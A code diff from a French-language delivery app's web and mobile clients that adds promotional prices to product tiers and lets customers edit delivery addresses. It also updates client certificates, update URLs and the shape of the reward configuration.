({ratingsModal.count} avis)
</Text>
</View>
<ScrollView style={styles.ratingsList}>
{ratingsModal.ratings.map((r) => (
<View key={r.id} style={styles.ratingItem}>
<View style={styles.ratingItemHeader}>
<Text style={styles.ratingItemClient}>{r.client_username}</Text>
<Text style={styles.ratingItemDate}>
{new Date(r.created_at).toLocaleDateString("fr-FR")}
</Text>
</View>
<View style={styles.ratingStarsRow}>
{[1,2,3,4,5].map((s) => (
<Ionicons
key={s}
name={s <= r.rating ? "star" : "star-outline"}
size={14}
color="#f59e0b"
/>
))}
</View>
{r.comment !== "" && (
<Text style={styles.ratingItemComment}>"{r.comment}"</Text>
)}
</View>
))}
</ScrollView>
</>
) : (
<Text style={styles.ratingsEmpty}>Aucun avis pour ce livreur</Text>
)}
</View>
</View>
</Modal>
{/* ── Modal historique de connexion livreur ── */}
@@ -1148,12 +1148,8 @@ export default function DeliveryScreen() {
animationType="slide"
onRequestClose={() => setLoginHistoryModal(null)}
>
<Pressable
style={styles.ratingsOverlay}
onPress={() => setLoginHistoryModal(null)}
>
<Pressable onPress={() => {}}>
<View style={styles.ratingsSheet}>
<View style={styles.ratingsOverlay}>
<View style={styles.ratingsSheet}>
<View style={styles.ratingsHeader}>
<Text style={styles.ratingsTitle}>
Connexions {loginHistoryModal?.username}
@@ -1258,7 +1254,7 @@ export default function DeliveryScreen() {
</Text>
) : loginHistoryModal &&
loginHistoryModal.weeks.length > 0 ? (
<ScrollView showsVerticalScrollIndicator={false}>
<ScrollView style={styles.ratingsList}>
{loginHistoryModal.weeks.map((week) => (
<View key={week.week}>
<Text style={styles.historyWeekLabel}>
@@ -1310,9 +1306,8 @@ export default function DeliveryScreen() {
Aucune connexion ce mois-ci
</Text>
)}
</View>
</Pressable>
</Pressable>
</View>
</View>
</Modal>
</View>
);
@@ -73,7 +73,6 @@ export default function OrderDetailScreen() {
setCommand(cmdRes.command);
setItems(itemsRes.items ?? []);
// If livreur assigned, fetch their location and calc route
const cmd = cmdRes.command;
if (cmd?.livreur_assign && cmd?.adresse) {
loadLivreurRoute(cmd.livreur_assign, cmd.adresse);
File diff suppressed because it is too large Load Diff
@@ -1643,6 +1643,20 @@ export default function StatsScreen() {
color={CHART_AMBER}
/>
</View>
<View style={styles.summaryRow}>
<SummaryCard
icon="pricetag-outline"
label="Économisé (promos)"
value={fmtEuro(s?.total_promo_discount ?? 0)}
color={CHART_GREEN}
/>
<SummaryCard
icon="gift-outline"
label="Commandes avec promo"
value={fmtNum(s?.promo_orders_count ?? 0)}
color={CHART_AMBER}
/>
</View>
{/* ── Activité du jour ── */}
{stats?.daily_detail && (
@@ -48,7 +48,6 @@ import { useAlert } from "../../hooks/useAlert";
// --------------------------------------------------
// Types
// --------------------------------------------------
interface UserItem {
id: number;
username: string;
@@ -1,3 +0,0 @@
[ZoneTransfer]
ZoneId=3
HostUrl=about:internet
+69 -4
View File
@@ -796,7 +796,13 @@ export interface Product {
category: string;
unit?: string;
stock: number;
prices?: Array<{ quantity: number; price: number; active_price?: boolean }>;
prices?: Array<{
quantity: number;
price: number;
active_price?: boolean;
promo_price?: number | null;
promo_percent?: number;
}>;
media?: MediaItem[]; // ✅ CHANGÉ: string[] → MediaItem[]
coming_soon?: boolean;
}
@@ -1440,6 +1446,60 @@ export const cancelCommand = async (
}
};
/**
* UPDATE OWN COMMAND ADDRESS - Corriger l'adresse de sa propre commande
* PUT /api/v1/commands/:id/address
*/
export const updateOwnCommandAddress = async (
commandId: number,
deliveryAddress: string,
): Promise<{ success: boolean; message: string }> => {
const token = sessionStorage.getItem("token");
if (!token) {
return {
success: false,
message: "Session invalide",
};
}
try {
const response = await fetch(
`${API_URL}/commands/${commandId}/address`,
{
method: "PUT",
headers: {
"Content-Type": "application/json",
Authorization: `Bearer ${token}`,
},
body: JSON.stringify({ delivery_address: deliveryAddress }),
},
);
const data = await safeJson(response);
if (!response.ok) {
return {
success: false,
message: data.error || "Erreur lors de la mise à jour de l'adresse",
};
}
return {
success: true,
message: data.message || "Adresse mise à jour",
};
} catch (error) {
return {
success: false,
message:
error instanceof Error
? error.message
: "Erreur lors de la mise à jour de l'adresse",
};
}
};
/**
* GET MY CANCELLATION HISTORY - Historique des annulations
* GET /api/v1/my-cancellation-history
@@ -2166,13 +2226,18 @@ export const unlinkTelegram = async (): Promise<void> => {
// 🏆 POINTS — RÉCOMPENSES
// ============================================
export type RewardConfigProduct = {
product_id: number;
product_name: string;
quantity: number;
};
export type RewardCategoryConfig = {
category: string;
type: "free_product" | "half_price_product";
all_products: boolean;
product_ids: number[];
product_names: string[];
amount: number;
products: RewardConfigProduct[];
quantity: number;
};
export type RewardItemConfig = {
+2
View File
@@ -358,6 +358,8 @@ export interface ProductPrice {
quantity: number;
price: number;
active_price?: boolean;
promo_price?: number; // prix réduit si une promotion couvre ce palier
promo_percent?: number; // pourcentage de réduction appliqué
}
export interface Product {
id: number;
@@ -122,6 +122,13 @@
text-align: center;
}
.product-price-strike {
color: var(--text-muted);
text-decoration: line-through;
font-size: 0.75em;
font-weight: 500;
}
.product-stock {
color: var(--text-muted);
font-size: clamp(0.85rem, 2.5vw, 1rem);
+32 -8
View File
@@ -28,9 +28,15 @@ interface ProductCardProps {
image: string;
stock: number;
category: string;
prices?: Array<{ quantity: number; price: number; active_price?: boolean }>;
prices?: Array<{
quantity: number;
price: number;
active_price?: boolean;
promo_price?: number | null;
promo_percent?: number;
}>;
hasVideo?: boolean;
videoUrl?: string; // ✨ Nouveau prop pour l'URL de la vidéo
videoUrl?: string;
categoryColor?: string;
coming_soon?: boolean;
}
@@ -63,6 +69,11 @@ function ProductCard({
const isOutOfStock = stock === 0;
const isComingSoon = coming_soon === true;
const normalizedCategory = (category || "autre").toLowerCase().trim();
const firstPromoPrice =
prices?.[0]?.promo_price != null &&
prices[0].promo_price < prices[0].price
? prices[0].promo_price
: null;
const handleDetailsClick = (e: React.MouseEvent) => {
e.stopPropagation();
@@ -171,9 +182,20 @@ function ProductCard({
<div className="product-info">
<h3 className="product-name">{name}</h3>
<p className="product-price">
{price > 0
? `${price.toFixed(2)}`
: "Prix non disponible"}
{price > 0 ? (
firstPromoPrice !== null ? (
<>
<span className="product-price-strike">
{price.toFixed(2)}
</span>{" "}
{firstPromoPrice.toFixed(2)}
</>
) : (
`${price.toFixed(2)}`
)
) : (
"Prix non disponible"
)}
</p>
</div>
</div>
@@ -224,9 +246,11 @@ function ProductCard({
key={priceOption.quantity}
value={priceOption.quantity}
>
{priceOption.quantity}
{unit} - {priceOption.price.toFixed(2)}{" "}
{priceOption.promo_price != null &&
priceOption.promo_price <
priceOption.price
? `${priceOption.quantity}${unit} - ${priceOption.promo_price.toFixed(2)} € (au lieu de ${priceOption.price.toFixed(2)} €, -${priceOption.promo_percent}%)`
: `${priceOption.quantity}${unit} - ${priceOption.price.toFixed(2)}`}
</option>
))}
</select>
@@ -1,9 +1,5 @@
// ============================================
// context/CartContext.tsx - QUANTITÉS EN GRAMMES
// ============================================
// ✅ quantity = grammes choisis (5, 10, 25, etc.)
// ✅ Pas de boutons +/- dans le panier
// ✅ Pour acheter 2× le même produit, l'ajouter 2 fois
import {
createContext,
@@ -348,4 +344,3 @@ export function CartProvider({ children }: { children: ReactNode }) {
</CartContext.Provider>
);
}
@@ -452,18 +452,18 @@ function ConsultationHistorique() {
</span>,
]
: (
cfg.product_names ??
cfg.products ??
[]
).map(
(
name,
p,
) => (
<span
key={`${cfg.category}-${name}`}
key={`${cfg.category}-${p.product_id}`}
className="reward-eligible-cat"
>
{
name
p.product_name
}
</span>
),
+41 -11
View File
@@ -106,10 +106,17 @@ function ProductDetail() {
quantity: number;
price: number;
active_price?: boolean;
promo_price?: number;
promo_percent?: number;
}) => ({
quantity: parseFloat(String(p.quantity)),
price: parseFloat(String(p.price)),
active_price: p.active_price,
promo_price:
p.promo_price != null
? parseFloat(String(p.promo_price))
: undefined,
promo_percent: p.promo_percent,
}),
) || [],
};
@@ -118,8 +125,9 @@ function ProductDetail() {
// initialise le prix par défaut (float)
if (fixedProduct.prices.length > 0) {
setSelectedGrams(fixedProduct.prices[0].quantity);
setSelectedPrice(fixedProduct.prices[0].price);
const first = fixedProduct.prices[0];
setSelectedGrams(first.quantity);
setSelectedPrice(first.promo_price ?? first.price);
}
// Couleur de la catégorie depuis la DB
@@ -152,7 +160,11 @@ function ProductDetail() {
);
if (priceOption) {
setSelectedPrice(parseFloat(String(priceOption.price)));
setSelectedPrice(
priceOption.promo_price != null
? parseFloat(String(priceOption.promo_price))
: parseFloat(String(priceOption.price)),
);
}
};
@@ -301,13 +313,29 @@ function ProductDetail() {
<div className="product-info-section">
<h1 className="product-detail-name">{product.name}</h1>
{selectedPrice > 0 && (
<p className="product-detail-price">
{selectedPrice.toFixed(2)} {" "}
{selectedGrams &&
`pour ${selectedGrams}${product.unit || "g"}`}
</p>
)}
{selectedPrice > 0 && (() => {
const selectedTier = product.prices?.find(
(p) => p.quantity === selectedGrams,
);
const hasPromo =
selectedTier?.promo_price != null &&
selectedTier.promo_price < selectedTier.price;
return (
<p className="product-detail-price">
{hasPromo && (
<span style={{ textDecoration: "line-through", opacity: 0.6, marginRight: 8 }}>
{selectedTier!.price.toFixed(2)}
</span>
)}
<span style={hasPromo ? { color: "#22c55e" } : undefined}>
{selectedPrice.toFixed(2)}
</span>
{!hasPromo &&
selectedGrams &&
` pour ${selectedGrams}${product.unit || "g"}`}
</p>
);
})()}
<div className="product-description">
<h3>Description</h3>
@@ -345,7 +373,9 @@ function ProductDetail() {
>
{p.quantity}
{product.unit || "g"} -{" "}
{p.price.toFixed(2)}
{p.promo_price != null && p.promo_price < p.price
? `${p.promo_price.toFixed(2)} € (au lieu de ${p.price.toFixed(2)} €, -${p.promo_percent}%)`
: `${p.price.toFixed(2)}`}
</option>
))}
</select>
@@ -14,6 +14,7 @@ import {
getOrderETA,
confirmReception,
cancelCommand,
updateOwnCommandAddress,
isUserAuthenticated,
getPublicSettings,
} from "../../api/api";
@@ -287,6 +288,12 @@ function SuiviLivraison() {
useState<CancelCommandResponse | null>(null);
const [poolNames, setPoolNames] = useState<string[]>([]);
const [editingAddressOrder, setEditingAddressOrder] = useState<
number | null
>(null);
const [newAddress, setNewAddress] = useState("");
const [editAddressLoading, setEditAddressLoading] = useState(false);
useEffect(() => {
getPublicSettings().then((s) => setPoolNames(s.pool_names ?? []));
}, []);
@@ -574,6 +581,53 @@ function SuiviLivraison() {
handleCancelOrder(true);
};
const openEditAddressDialog = (orderId: number) => {
if (!isUserAuthenticated()) {
navigate("/login/client", { replace: true });
return;
}
const order = orders.find((o) => o.id === orderId);
setNewAddress(order ? getDeliveryAddress(order) : "");
setEditingAddressOrder(orderId);
};
const closeEditAddressDialog = () => {
setEditingAddressOrder(null);
setNewAddress("");
};
const handleUpdateAddress = async () => {
if (!editingAddressOrder || !newAddress.trim()) return;
try {
setEditAddressLoading(true);
const response = await updateOwnCommandAddress(
editingAddressOrder,
newAddress.trim(),
);
if (response.success) {
showToast("Adresse mise à jour", "success");
closeEditAddressDialog();
loadOrders();
} else {
showToast(
response.message || "Erreur lors de la mise à jour",
"error",
);
}
} catch (error: unknown) {
showToast(
error instanceof Error
? error.message
: "Erreur lors de la mise à jour de l'adresse",
"error",
);
} finally {
setEditAddressLoading(false);
}
};
if (loading && orders.length === 0) {
return (
<>
@@ -1143,6 +1197,27 @@ function SuiviLivraison() {
</div>
) : (
<div className="action-buttons">
{(statusLow ===
"pending" ||
statusLow ===
"assigned") && (
<button
className="btn-secondary"
onClick={() =>
openEditAddressDialog(
order.id,
)
}
>
<FontAwesomeIcon
icon={
faMapMarkerAlt
}
/>{" "}
Modifier
l'adresse
</button>
)}
<button
className="btn-cancel-order"
onClick={() =>
@@ -1263,6 +1338,73 @@ function SuiviLivraison() {
</div>
)}
{/* Dialog de modification d'adresse */}
{editingAddressOrder !== null && (
<div
className="confirm-dialog-overlay"
onClick={closeEditAddressDialog}
>
<div
className="confirm-dialog"
onClick={(e) => e.stopPropagation()}
>
<div className="confirm-dialog-header">
<h3>
<FontAwesomeIcon icon={faMapMarkerAlt} />{" "}
Modifier l'adresse de livraison
</h3>
</div>
<div className="confirm-dialog-body">
<div className="form-group">
<label htmlFor="new-address">
Nouvelle adresse de livraison
</label>
<textarea
id="new-address"
value={newAddress}
onChange={(e) =>
setNewAddress(e.target.value)
}
placeholder="Adresse complète"
rows={3}
/>
</div>
</div>
<div className="confirm-dialog-actions">
<button
className="btn-secondary"
onClick={closeEditAddressDialog}
disabled={editAddressLoading}
>
Retour
</button>
<button
className="btn-confirm"
onClick={handleUpdateAddress}
disabled={
editAddressLoading || !newAddress.trim()
}
>
{editAddressLoading ? (
<>
<FontAwesomeIcon
icon={faClock}
spin
/>{" "}
Enregistrement...
</>
) : (
<>
<FontAwesomeIcon icon={faCheck} />{" "}
Enregistrer
</>
)}
</button>
</div>
</div>
</div>
)}
{/* Dialog d'annulation */}
{showCancelDialog && (
<div
+10 -10
View File
@@ -1,19 +1,19 @@
-----BEGIN CERTIFICATE-----
MIIDJzCCAg+gAwIBAgIUM7z+tj5rLi14rOAxeYv24ocU0XUwDQYJKoZIhvcNAQEL
MIIDHTCCAgWgAwIBAgIUfteDb4QnVA4dHw75YlHAKlxv7e0wDQYJKoZIhvcNAQEL
BQAwIzEhMB8GA1UEAwwYVWJlciBTdHVwIENsaWVudCBQcmVwcm9kMB4XDTI2MDgy
MjEzMzU0N1oXDTM2MDgxOTEzMzU0N1owIzEhMB8GA1UEAwwYVWJlciBTdHVwIENs
NjEwMjI0NVoXDTM2MDgyMzEwMjI0NVowIzEhMB8GA1UEAwwYVWJlciBTdHVwIENs
aWVudCBQcmVwcm9kMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvc/P
p8uCt0SHb+tCaM/Pi7wm8QBKf6qnSnFr+peHmM3xWZkSEk7v4NelTlwcJ/A+Azfv
0Py7euIGdOU13bXZRSDP5wbXVOJJt1eftJsiWlOT6ehGrnZOHd+telnTnl/fWbjJ
qtDphpt3bm0DfxUypatG/NAnQ1SEiLMyUwiBTrIWoLFQ+XbC6ULnoKfhROqXj1h7
eR+xCJ28R+LuB+kJk8EhD8L4CZqlO/xVk93eN3oJuTHJYT7jWff2uT+1SczRVvv4
ZmnznU/gUPXJcQlISnmvaG/+8Ng8Z9ThDKDnnneJpFXAhFqU62Wjb/Y9rTb9FWZn
saBQuDZGp+nBVHcT5QIDAQABo1MwUTAdBgNVHQ4EFgQUTnhvom3Cc72XDlqyhLER
DvsHcUcwHwYDVR0jBBgwFoAUTnhvom3Cc72XDlqyhLERDvsHcUcwDwYDVR0TAQH/
BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAfoJFVyfqn9BdLyl3kp6aQcVWy7qW
KmTXXqQw0QS32NFn493NEszi1gtKX/B7OhoA++i6lTHxTWfK3TmqWRDdZMWcsPBu
xzc1Y83hzH3B3RefKIhLXmKB6wrrl8kLK+14eamVsLNd1IddWh2ywqc4FOBotJ0q
Vds+vnsBB14iM/LGdYcKRbIfCeygL4bcHAM46gnthojd4HZRhIaCjVWdTM12kpK3
1cw5ETlWN6gnpgY1h6RCJN3FmYOToZx9DoaIqJWcmBrPvVBm16aT1+1plDP3NqR7
5LMfkor4/FvkCLI2GmWNlPcMnepz80sNtfH95I81rtnlS1eXMSgp/Izt9g==
saBQuDZGp+nBVHcT5QIDAQABo0kwRzAOBgNVHQ8BAf8EBAMCB4AwFgYDVR0lAQH/
BAwwCgYIKwYBBQUHAwMwHQYDVR0OBBYEFE54b6JtwnO9lw5asoSxEQ77B3FHMA0G
CSqGSIb3DQEBCwUAA4IBAQA/UDUlMYaYaArtYl/BEKSj7jZTC3gFRA8393XLFdUi
/roiIdd6suX+T957wgXRSTpGPfFVO+azJChosEKMRI477r0vWRX4J8B0GXNo+jcr
okMjt5cY6G1egTvl+slJANoevJAClgOVOZ/+HShB0k9i9sIJf/rViKj7OV19UEur
0m2gK/qdvxbeFuw2RUq5tFRgUZzL8TyZmbJVKu0iRX4wB1MuUezDlr5a/k1qd27V
24U0+IiAQTjTVZj1ab8k6oP6376p6ydKoL2JLR7A/f/B1y/TojJbDNsU5EMCMt64
TRZ0aeslLtcnynqlpzr3JNXugtRPaz2WxT8NmB8H6fQR
-----END CERTIFICATE-----
+11 -11
View File
@@ -1,19 +1,19 @@
-----BEGIN CERTIFICATE-----
MIIDFzCCAf+gAwIBAgIUPjMMNeZyiuXB1G6OV0ENWtDoir8wDQYJKoZIhvcNAQEL
BQAwGzEZMBcGA1UEAwwQVWJlciBTdHVwIENsaWVudDAeFw0yNjA4MjEyMDQ2MzFa
Fw0zNjA4MTgyMDQ2MzFaMBsxGTAXBgNVBAMMEFViZXIgU3R1cCBDbGllbnQwggEi
MIIDDTCCAfWgAwIBAgIUJrRf0VNrabHd9GaoW3iBxw8RzygwDQYJKoZIhvcNAQEL
BQAwGzEZMBcGA1UEAwwQVWJlciBTdHVwIENsaWVudDAeFw0yNjA4MjYxMDIyNDVa
Fw0zNjA4MjMxMDIyNDVaMBsxGTAXBgNVBAMMEFViZXIgU3R1cCBDbGllbnQwggEi
MA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC2foB+W04MkXIyANrUeffDy1Vo
soZ6UgD/FWvvzYY0Pf29kWsatBTfuwfMQPg4VVl2OXci7oL01Steml2ZOMb+kF0f
n3da5dRFFPVEp7KI+y1bRSBcy3M79Y8oon2Q1TcooCeaKVXVx7Ykg6/GPDLL/+tI
0HVXdtQxMDr1EcCZuTo2g+91o84MLXJXipHkuS64UYAjlPrJFcq9jR4TJ7zYsL01
P9fPmokAm2Vc2B9dG+BjlSBXp7oyLIOtMwC1zACkWiU+81d59NMZAv04FJENB/P6
xeG3WqM/n/9INGy2Xvd9wkUuZEObZJiNh4CL6ZWzhJPCPq2cHcqrcHxXeRtxAgMB
AAGjUzBRMB0GA1UdDgQWBBRzKjfUhq94HxcKky3+bSsu8L+STjAfBgNVHSMEGDAW
gBRzKjfUhq94HxcKky3+bSsu8L+STjAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3
DQEBCwUAA4IBAQAEsXOMagEh4/+LF80uhtipaMrfKTjmtOBXkY46n29BDvZlklgb
5U0jcu7qJdeBbvyiS+X5Mlw8PqZOuCzbUoBb3pIcujbTkZZR3BD3aVKedPNfnXYp
xQ2Kl6rVkPCsvqSWbdndAETECkXfOiqK9X9kqDlQmNXzD5aZiQqEEN7UZEJgF8kn
woh+3m2puzuwFkgzoMDVsq+HJ5mYB74hWDdZPZ2gti8oigOcw9ydWl/Dn3T1ujJQ
RsMf8wMMtpfSdl4W8DPXUz15dJigl1erIvuhIVadxf7hILaP+4RTg1pEhppJJS7i
ZZkji9foAnqftHo9GjlLgwEyIIJ6YPZjeFz3
AAGjSTBHMA4GA1UdDwEB/wQEAwIHgDAWBgNVHSUBAf8EDDAKBggrBgEFBQcDAzAd
BgNVHQ4EFgQUcyo31IaveB8XCpMt/m0rLvC/kk4wDQYJKoZIhvcNAQELBQADggEB
ACVgBn04MtRN/VysKaus837+x5XtiXm+V6Bi57+JkqORKEgzV2PdmFCtpcG6ePef
0uUVkK7IF2tGm1AfNUkwvw/CoKNaFe9rtcNMLVYZSDbn6KOAyBSAxb2yQewJaSLN
/qpjkg45Jrcwyl0cQ6tQfQgWmliXE1AbgAN5j0foKA0b4ioLsI0dPFncYo5hzmOb
9FQ7QGbHwiAMmnQ3PHbpoby6DVpmEeuIj22FgAxt9TI7bYon/OHVO894jN0CCEOJ
8wrAUxgIGJKLFYSQdodaQ4WESyYnAcGTneqypC+l9yJQBWNUT+cJeNaQmu47Zbra
eLmJVdPXnnRe2UT7wSa02xg=
-----END CERTIFICATE-----
+2 -2
View File
@@ -23,7 +23,7 @@
},
"env": {
"EXPO_PUBLIC_API_URL": "https://uber-demo.club",
"EXPO_PUBLIC_UPDATE_URL": "https://ota.uber-stup.club/api/manifest"
"EXPO_PUBLIC_UPDATE_URL": "https://ota-mobile-preprod.uber-stup.club/api/manifest"
},
"channel": "pre-prod-client"
},
@@ -35,7 +35,7 @@
},
"env": {
"EXPO_PUBLIC_API_URL": "https://mln-uber.club",
"EXPO_PUBLIC_UPDATE_URL": "https://ota.uber-stup.club/api/manifest"
"EXPO_PUBLIC_UPDATE_URL": "https://ota-mobile-prod.uber-stup.club/api/manifest"
},
"channel": "production-client"
}
+31 -4
View File
@@ -457,6 +457,29 @@ export const respondToAddressProposal = async (
}
};
export const updateOwnCommandAddress = async (
commandId: number,
deliveryAddress: string,
): Promise<{ success: boolean; message: string }> => {
try {
const { data } = await apiClient.put(
`${V1}/commands/${commandId}/address`,
{ delivery_address: deliveryAddress },
);
return {
success: true,
message: data.message || "Adresse mise à jour",
};
} catch (error: any) {
return {
success: false,
message:
error.response?.data?.error ||
"Erreur lors de la mise à jour de l'adresse",
};
}
};
export const getOrderTracking = async (
commandId: number,
): Promise<TrackingResponse> => {
@@ -529,7 +552,6 @@ export const getOrdersWithTracking = async () => {
// ============================================
// HISTORY
// ============================================
export const getMyCompletedOrders = async (): Promise<HistoryResponse> => {
try {
@@ -962,13 +984,18 @@ export const toggle2FA = async (
// 🏆 POINTS — RÉCOMPENSES
// ============================================
export type RewardConfigProduct = {
product_id: number;
product_name: string;
quantity: number;
};
export type RewardCategoryConfig = {
category: string;
type: "free_product" | "half_price_product";
all_products: boolean;
product_ids: number[];
product_names: string[];
amount: number;
products: RewardConfigProduct[];
quantity: number;
};
export type RewardItemConfig = {
+2
View File
@@ -355,6 +355,8 @@ export interface ProductPrice {
quantity: number;
price: number;
active_price?: boolean;
promo_price?: number; // prix réduit si une promotion couvre ce palier
promo_percent?: number; // pourcentage de réduction appliqué
}
export interface Product {
id: number;
+1 -1
View File
@@ -2,7 +2,7 @@ import axios from "axios";
import { getToken, getAdminToken } from "../auth/tokenStorage";
export const API_BASE_URL =
process.env.EXPO_PUBLIC_API_URL ?? "https://mln-uber.club";
process.env.EXPO_PUBLIC_API_URL ?? "https://uber-demo.club";
const apiClient = axios.create({
baseURL: API_BASE_URL,
+82 -13
View File
@@ -47,6 +47,8 @@ interface ProductCardProps {
quantity: number;
price: number;
active_price?: boolean;
promo_price?: number | null;
promo_percent?: number;
}>;
media?: Array<{ url: string; type: string }>;
};
@@ -67,6 +69,11 @@ export default function ProductCard({
const activePrices =
product.prices?.filter((p) => p.active_price !== false) ?? [];
const firstPrice = activePrices[0]?.price ?? null;
const firstPromoPrice =
activePrices[0]?.promo_price != null &&
activePrices[0].promo_price < activePrices[0].price
? activePrices[0].promo_price
: null;
const imageMedia = product.media?.find((m) => m.type === "image");
const videoMedia = product.media?.find((m) => m.type === "video");
@@ -198,11 +205,33 @@ export default function ProductCard({
>
{product.name}
</Text>
<Text style={[styles.price, { color: colors.success }]}>
{firstPrice !== null
? `${firstPrice.toFixed(2)}`
: "Prix non disponible"}
</Text>
{firstPrice !== null ? (
firstPromoPrice !== null ? (
<View style={styles.priceRow}>
<Text
style={[
styles.priceStrike,
{ color: colors.textMuted },
]}
>
{firstPrice.toFixed(2)}
</Text>
<Text
style={[styles.price, { color: colors.success }]}
>
{firstPromoPrice.toFixed(2)}
</Text>
</View>
) : (
<Text style={[styles.price, { color: colors.success }]}>
{firstPrice.toFixed(2)}
</Text>
)
) : (
<Text style={[styles.price, { color: colors.success }]}>
Prix non disponible
</Text>
)}
</View>
<View
@@ -317,14 +346,39 @@ export default function ProductCard({
{p.quantity}
{product.unit || "g"}
</Text>
<Text
style={[
styles.pickerOptionPrice,
{ color: catColor },
]}
>
{p.price.toFixed(2)}
</Text>
{p.promo_price != null &&
p.promo_price < p.price ? (
<View style={styles.pickerPriceRow}>
<Text
style={[
styles.priceStrike,
{ color: colors.textMuted },
]}
>
{p.price.toFixed(2)}
</Text>
<Text
style={[
styles.pickerOptionPrice,
{ color: catColor },
]}
>
{p.promo_price.toFixed(2)}
{p.promo_percent
? ` (-${p.promo_percent}%)`
: ""}
</Text>
</View>
) : (
<Text
style={[
styles.pickerOptionPrice,
{ color: catColor },
]}
>
{p.price.toFixed(2)}
</Text>
)}
</View>
<Ionicons
name="add-circle"
@@ -515,6 +569,21 @@ const styles = StyleSheet.create({
fontWeight: fontWeight.bold,
textAlign: "center",
},
priceRow: {
flexDirection: "row",
alignItems: "center",
justifyContent: "center",
gap: spacing.xs,
},
pickerPriceRow: {
flexDirection: "row",
alignItems: "center",
gap: spacing.xs,
},
priceStrike: {
fontSize: fontSize.md,
textDecorationLine: "line-through",
},
quickAddSection: { padding: spacing.m, borderTopWidth: 1 },
quickAddBtn: {
width: "100%",
+2
View File
@@ -220,3 +220,5 @@ export function useCart() {
if (!context) throw new Error("useCart must be used within a CartProvider");
return context;
}
//
@@ -128,7 +128,6 @@ export function NotificationProvider({ children }: { children: ReactNode }) {
}
}, []);
// Polling toutes les 15 secondes
useEffect(() => {
fetchNotifications();
const interval = setInterval(fetchNotifications, 15000);
@@ -830,14 +830,14 @@ export default function OrderHistoryScreen() {
</View>,
]
: (
cfg.product_names ??
cfg.products ??
[]
).map(
(
name,
p,
) => (
<View
key={`${cfg.category}-${name}`}
key={`${cfg.category}-${p.product_id}`}
style={
styles.rewardAmountBadge
}
@@ -848,7 +848,7 @@ export default function OrderHistoryScreen() {
}
>
{
name
p.product_name
}
</Text>
</View>
@@ -17,6 +17,7 @@ import {
confirmReception,
cancelCommand,
respondToAddressProposal,
updateOwnCommandAddress,
formatOrderDate,
formatPrice,
calculateOrderTotal,
@@ -74,6 +75,11 @@ export default function OrderTrackingScreen() {
useState<CancelCommandResponse | null>(null);
const [penaltyOrderId, setPenaltyOrderId] = useState<number | null>(null);
const [penaltiesEnabled, setPenaltiesEnabled] = useState(false);
const [editingAddressId, setEditingAddressId] = useState<number | null>(
null,
);
const [newAddress, setNewAddress] = useState("");
const [editAddressLoading, setEditAddressLoading] = useState(false);
const [toastMsg, setToastMsg] = useState("");
const [toastType, setToastType] = useState<
"success" | "error" | "warning" | "info"
@@ -187,6 +193,29 @@ export default function OrderTrackingScreen() {
}
};
const handleUpdateAddress = async (orderId: number) => {
if (!newAddress.trim()) return;
setEditAddressLoading(true);
try {
const res = await updateOwnCommandAddress(
orderId,
newAddress.trim(),
);
if (res.success) {
showToast("Adresse mise à jour", "success");
setEditingAddressId(null);
setNewAddress("");
fetchOrders();
} else {
showToast(res.message || "Erreur", "error");
}
} catch {
showToast("Erreur lors de la mise à jour de l'adresse", "error");
} finally {
setEditAddressLoading(false);
}
};
const styles = useMemo(
() =>
StyleSheet.create({
@@ -407,6 +436,10 @@ export default function OrderTrackingScreen() {
"assigned",
"en_route",
].includes(order.status);
const canEditAddress = [
"pending",
"assigned",
].includes(order.status);
return (
<TouchableOpacity
@@ -636,6 +669,23 @@ export default function OrderTrackingScreen() {
size="sm"
/>
)}
{canEditAddress && (
<Button
title="Modifier l'adresse"
onPress={() => {
setNewAddress(
order.delivery_address ||
order.adresse ||
"",
);
setEditingAddressId(
order.id,
);
}}
variant="outline"
size="sm"
/>
)}
{canCancel && (
<Button
title="Annuler"
@@ -689,6 +739,52 @@ export default function OrderTrackingScreen() {
</View>
</Modal>
<Modal
visible={editingAddressId !== null}
onClose={() => {
setEditingAddressId(null);
setNewAddress("");
}}
title="Modifier l'adresse de livraison"
icon="location-outline"
iconColor={colors.accent}
>
<View style={styles.modalBody}>
<Text style={styles.modalText}>
Nouvelle adresse de livraison :
</Text>
<RNTextInput
style={styles.cancelInput}
placeholder="Adresse complète"
placeholderTextColor={colors.textMuted}
value={newAddress}
onChangeText={setNewAddress}
multiline
/>
<View style={styles.modalActions}>
<Button
title="Retour"
onPress={() => {
setEditingAddressId(null);
setNewAddress("");
}}
variant="outline"
size="md"
/>
<Button
title="Enregistrer"
onPress={() =>
editingAddressId &&
handleUpdateAddress(editingAddressId)
}
loading={editAddressLoading}
variant="success"
size="md"
/>
</View>
</View>
</Modal>
<Modal
visible={cancellingId !== null}
onClose={() => {
@@ -63,12 +63,18 @@ export default function ProductDetailScreen() {
quantity: parseFloat(String(pr.quantity)),
price: parseFloat(String(pr.price)),
active_price: pr.active_price,
promo_price:
pr.promo_price != null
? parseFloat(String(pr.promo_price))
: undefined,
promo_percent: pr.promo_percent,
})) || [],
};
setProduct(fixedProduct);
if (fixedProduct.prices.length > 0) {
setSelectedGrams(fixedProduct.prices[0].quantity);
setSelectedPrice(fixedProduct.prices[0].price);
const first = fixedProduct.prices[0];
setSelectedGrams(first.quantity);
setSelectedPrice(first.promo_price ?? first.price);
}
const matched = categories.find(
(c) =>
@@ -90,7 +96,7 @@ export default function ProductDetailScreen() {
const handleGramsChange = (quantity: number) => {
setSelectedGrams(quantity);
const opt = product?.prices?.find((p) => p.quantity === quantity);
if (opt) setSelectedPrice(opt.price);
if (opt) setSelectedPrice(opt.promo_price ?? opt.price);
setShowQuantityPicker(false);
};
@@ -585,16 +591,44 @@ export default function ProductDetailScreen() {
<View style={styles.infoSection}>
<Text style={styles.productName}>{product.name}</Text>
{selectedPrice > 0 && (
<View style={styles.priceRow}>
<View style={styles.priceIndicator} />
<Text style={styles.priceText}>
{selectedPrice.toFixed(2)} {" "}
{selectedGrams &&
`pour ${selectedGrams}${product.unit || "g"}`}
</Text>
</View>
)}
{selectedPrice > 0 && (() => {
const selectedTier = product.prices?.find(
(p) => p.quantity === selectedGrams,
);
const hasPromo =
selectedTier?.promo_price != null &&
selectedTier.promo_price < selectedTier.price;
return (
<View style={styles.priceRow}>
<View style={styles.priceIndicator} />
{hasPromo && (
<Text
style={[
styles.priceText,
{
textDecorationLine: "line-through",
opacity: 0.6,
marginRight: 6,
},
]}
>
